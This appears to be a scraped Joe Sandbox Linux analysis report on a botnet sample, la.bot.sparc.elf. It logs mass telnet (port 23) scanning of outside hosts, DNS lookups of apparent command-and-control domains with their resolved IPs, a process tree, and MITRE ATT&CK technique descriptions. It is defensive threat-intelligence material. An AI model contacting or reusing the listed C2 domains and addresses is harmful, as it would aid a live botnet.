Oct 19, 2024 08:27:18.809508085 CEST	23	54170	4.225.252.245	192.168.2.23
Oct 19, 2024 08:27:18.809561014 CEST	54170	23	192.168.2.23	4.225.252.245
Oct 19, 2024 08:27:18.816560984 CEST	48404	23	192.168.2.23	18.75.136.102
Oct 19, 2024 08:27:18.819937944 CEST	37228	23	192.168.2.23	130.38.124.234
Oct 19, 2024 08:27:18.821374893 CEST	23	48404	18.75.136.102	192.168.2.23
Oct 19, 2024 08:27:18.821454048 CEST	48404	23	192.168.2.23	18.75.136.102
Oct 19, 2024 08:27:18.821624994 CEST	37098	23	192.168.2.23	24.129.205.135
Oct 19, 2024 08:27:18.824702978 CEST	23	37228	130.38.124.234	192.168.2.23
Oct 19, 2024 08:27:18.824745893 CEST	37228	23	192.168.2.23	130.38.124.234
Oct 19, 2024 08:27:18.826400995 CEST	23	48404	18.75.136.102	192.168.2.23
Oct 19, 2024 08:27:18.826406002 CEST	23	37098	24.129.205.135	192.168.2.23
Oct 19, 2024 08:27:18.826447010 CEST	37098	23	192.168.2.23	24.129.205.135
Oct 19, 2024 08:27:18.830132008 CEST	23	37228	130.38.124.234	192.168.2.23
Oct 19, 2024 08:27:18.830457926 CEST	37228	23	192.168.2.23	130.38.124.234
Oct 19, 2024 08:27:18.830461979 CEST	48404	23	192.168.2.23	18.75.136.102
Oct 19, 2024 08:27:18.833894968 CEST	48058	23	192.168.2.23	187.80.117.228
Oct 19, 2024 08:27:18.837198019 CEST	46704	23	192.168.2.23	99.98.166.122
Oct 19, 2024 08:27:18.838677883 CEST	23	48058	187.80.117.228	192.168.2.23
Oct 19, 2024 08:27:18.838727951 CEST	48058	23	192.168.2.23	187.80.117.228
Oct 19, 2024 08:27:18.839848042 CEST	59904	23	192.168.2.23	201.80.19.175
Oct 19, 2024 08:27:18.841944933 CEST	23	46704	99.98.166.122	192.168.2.23
Oct 19, 2024 08:27:18.841990948 CEST	46704	23	192.168.2.23	99.98.166.122
Oct 19, 2024 08:27:18.842614889 CEST	60534	23	192.168.2.23	212.71.174.89
Oct 19, 2024 08:27:18.843755960 CEST	23	48058	187.80.117.228	192.168.2.23
Oct 19, 2024 08:27:18.844615936 CEST	23	59904	201.80.19.175	192.168.2.23
Oct 19, 2024 08:27:18.844660997 CEST	59904	23	192.168.2.23	201.80.19.175
Oct 19, 2024 08:27:18.845127106 CEST	42888	23	192.168.2.23	60.33.9.231
Oct 19, 2024 08:27:18.847089052 CEST	23	46704	99.98.166.122	192.168.2.23
Oct 19, 2024 08:27:18.847362041 CEST	23	60534	212.71.174.89	192.168.2.23
Oct 19, 2024 08:27:18.847400904 CEST	60534	23	192.168.2.23	212.71.174.89
Oct 19, 2024 08:27:18.848747969 CEST	38324	23	192.168.2.23	83.165.194.42
Oct 19, 2024 08:27:18.849849939 CEST	23	59904	201.80.19.175	192.168.2.23
Oct 19, 2024 08:27:18.849864960 CEST	23	42888	60.33.9.231	192.168.2.23
Oct 19, 2024 08:27:18.849936008 CEST	42888	23	192.168.2.23	60.33.9.231
Oct 19, 2024 08:27:18.850434065 CEST	48058	23	192.168.2.23	187.80.117.228
Oct 19, 2024 08:27:18.850436926 CEST	59904	23	192.168.2.23	201.80.19.175
Oct 19, 2024 08:27:18.850442886 CEST	46704	23	192.168.2.23	99.98.166.122
Oct 19, 2024 08:27:18.851715088 CEST	45664	23	192.168.2.23	184.216.150.17
Oct 19, 2024 08:27:18.852647066 CEST	23	60534	212.71.174.89	192.168.2.23
Oct 19, 2024 08:27:18.853530884 CEST	23	38324	83.165.194.42	192.168.2.23
Oct 19, 2024 08:27:18.853570938 CEST	38324	23	192.168.2.23	83.165.194.42
Oct 19, 2024 08:27:18.854439020 CEST	60534	23	192.168.2.23	212.71.174.89
Oct 19, 2024 08:27:18.854856014 CEST	23	42888	60.33.9.231	192.168.2.23
Oct 19, 2024 08:27:18.854912043 CEST	54732	23	192.168.2.23	34.82.92.33
Oct 19, 2024 08:27:18.856515884 CEST	23	45664	184.216.150.17	192.168.2.23
Oct 19, 2024 08:27:18.856565952 CEST	45664	23	192.168.2.23	184.216.150.17
Oct 19, 2024 08:27:18.858436108 CEST	42888	23	192.168.2.23	60.33.9.231
Oct 19, 2024 08:27:18.858455896 CEST	57512	23	192.168.2.23	202.75.255.117
Oct 19, 2024 08:27:18.858596087 CEST	23	38324	83.165.194.42	192.168.2.23
Oct 19, 2024 08:27:18.859646082 CEST	23	54732	34.82.92.33	192.168.2.23
Oct 19, 2024 08:27:18.859728098 CEST	54732	23	192.168.2.23	34.82.92.33
Oct 19, 2024 08:27:18.861665010 CEST	34670	23	192.168.2.23	46.43.253.210
Oct 19, 2024 08:27:18.862435102 CEST	38324	23	192.168.2.23	83.165.194.42
Oct 19, 2024 08:27:18.863217115 CEST	23	57512	202.75.255.117	192.168.2.23
Oct 19, 2024 08:27:18.863255978 CEST	57512	23	192.168.2.23	202.75.255.117
Oct 19, 2024 08:27:18.864835024 CEST	23	54732	34.82.92.33	192.168.2.23
Oct 19, 2024 08:27:18.866206884 CEST	37678	23	192.168.2.23	104.105.120.166
Oct 19, 2024 08:27:18.866434097 CEST	23	34670	46.43.253.210	192.168.2.23
Oct 19, 2024 08:27:18.866440058 CEST	54732	23	192.168.2.23	34.82.92.33
Oct 19, 2024 08:27:18.866477013 CEST	34670	23	192.168.2.23	46.43.253.210
Oct 19, 2024 08:27:18.867410898 CEST	40582	15987	192.168.2.23	103.253.147.242
Oct 19, 2024 08:27:18.868240118 CEST	23	57512	202.75.255.117	192.168.2.23
Oct 19, 2024 08:27:18.871037960 CEST	23	37678	104.105.120.166	192.168.2.23
Oct 19, 2024 08:27:18.871109962 CEST	37678	23	192.168.2.23	104.105.120.166
Oct 19, 2024 08:27:18.871509075 CEST	23	34670	46.43.253.210	192.168.2.23
Oct 19, 2024 08:27:18.872132063 CEST	15987	40582	103.253.147.242	192.168.2.23
Oct 19, 2024 08:27:18.872178078 CEST	40582	15987	192.168.2.23	103.253.147.242
Oct 19, 2024 08:27:18.872582912 CEST	40582	15987	192.168.2.23	103.253.147.242
Oct 19, 2024 08:27:18.872983932 CEST	53756	23	192.168.2.23	218.42.54.59
Oct 19, 2024 08:27:18.874438047 CEST	34670	23	192.168.2.23	46.43.253.210
Oct 19, 2024 08:27:18.874440908 CEST	57512	23	192.168.2.23	202.75.255.117
Oct 19, 2024 08:27:18.876161098 CEST	23	37678	104.105.120.166	192.168.2.23
Oct 19, 2024 08:27:18.877187967 CEST	15987	40582	103.253.147.242	192.168.2.23
Oct 19, 2024 08:27:18.877321959 CEST	15987	40582	103.253.147.242	192.168.2.23
Oct 19, 2024 08:27:18.877844095 CEST	23	53756	218.42.54.59	192.168.2.23
Oct 19, 2024 08:27:18.877899885 CEST	53756	23	192.168.2.23	218.42.54.59
Oct 19, 2024 08:27:18.878437042 CEST	37678	23	192.168.2.23	104.105.120.166
Oct 19, 2024 08:27:18.878555059 CEST	52664	23	192.168.2.23	178.233.18.235
Oct 19, 2024 08:27:18.882993937 CEST	23	53756	218.42.54.59	192.168.2.23
Oct 19, 2024 08:27:18.883285046 CEST	23	52664	178.233.18.235	192.168.2.23
Oct 19, 2024 08:27:18.883330107 CEST	52664	23	192.168.2.23	178.233.18.235
Oct 19, 2024 08:27:18.886432886 CEST	53756	23	192.168.2.23	218.42.54.59
Oct 19, 2024 08:27:18.886565924 CEST	42716	23	192.168.2.23	19.51.30.162

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 19, 2024 08:27:18.770081043 CEST	192.168.2.23	162.243.19.47	0x4c57	Standard query (0)	21savage.dyn	A (IP address)	IN (0x0001)	false
Oct 19, 2024 08:27:29.623320103 CEST	192.168.2.23	130.61.69.123	0x4193	Standard query (0)	eighteen.pirate. [malformed]	256	337	false
Oct 19, 2024 08:27:29.631484032 CEST	192.168.2.23	185.84.81.194	0xc1e5	Standard query (0)	eighteen.pirate. [malformed]	256	337	false
Oct 19, 2024 08:27:29.643656969 CEST	192.168.2.23	130.61.64.122	0x8f2d	Standard query (0)	eighteen.pirate. [malformed]	256	337	false
Oct 19, 2024 08:27:29.651369095 CEST	192.168.2.23	192.3.165.37	0xe566	Standard query (0)	fortyfivehundred.dyn. [malformed]	256	337	false
Oct 19, 2024 08:27:29.752980947 CEST	192.168.2.23	8.8.8.8	0x45d6	Standard query (0)	f.codingdrunk. . [malformed]	256	337	false
Oct 19, 2024 08:27:29.762204885 CEST	192.168.2.23	8.8.8.8	0x45d6	Standard query (0)	f.codingdrunk. . [malformed]	256	337	false
Oct 19, 2024 08:27:29.770576954 CEST	192.168.2.23	8.8.8.8	0x45d6	Standard query (0)	f.codingdrunk. . [malformed]	256	337	false
Oct 19, 2024 08:27:29.777770042 CEST	192.168.2.23	8.8.8.8	0x45d6	Standard query (0)	f.codingdrunk. . [malformed]	256	337	false
Oct 19, 2024 08:27:29.784892082 CEST	192.168.2.23	8.8.8.8	0x45d6	Standard query (0)	f.codingdrunk. . [malformed]	256	337	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 19, 2024 08:27:18.865411043 CEST	162.243.19.47	192.168.2.23	0x4c57	No error (0)	21savage.dyn		156.244.19.135	A (IP address)	IN (0x0001)	false
Oct 19, 2024 08:27:18.865411043 CEST	162.243.19.47	192.168.2.23	0x4c57	No error (0)	21savage.dyn		103.253.147.242	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: la.bot.sparc.elf PID: 6205, Parent PID: 6126

General

Start time (UTC):	06:27:18
Start date (UTC):	19/10/2024
Path:	/tmp/la.bot.sparc.elf
Arguments:	/tmp/la.bot.sparc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: la.bot.sparc.elf PID: 6207, Parent PID: 6205

General

Start time (UTC):	06:27:18
Start date (UTC):	19/10/2024
Path:	/tmp/la.bot.sparc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: la.bot.sparc.elf PID: 6236, Parent PID: 6205

General

Start time (UTC):	06:27:18
Start date (UTC):	19/10/2024
Path:	/tmp/la.bot.sparc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: la.bot.sparc.elf PID: 6239, Parent PID: 6236

General

Start time (UTC):	06:27:18
Start date (UTC):	19/10/2024
Path:	/tmp/la.bot.sparc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.sparc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: la.bot.sparc.elf PID: 6205, Parent PID: 6126

General

Analysis Process: la.bot.sparc.elf PID: 6207, Parent PID: 6205

General

Analysis Process: la.bot.sparc.elf PID: 6236, Parent PID: 6205

General

Analysis Process: la.bot.sparc.elf PID: 6239, Parent PID: 6236

General

Linux Analysis Report
la.bot.sparc.elf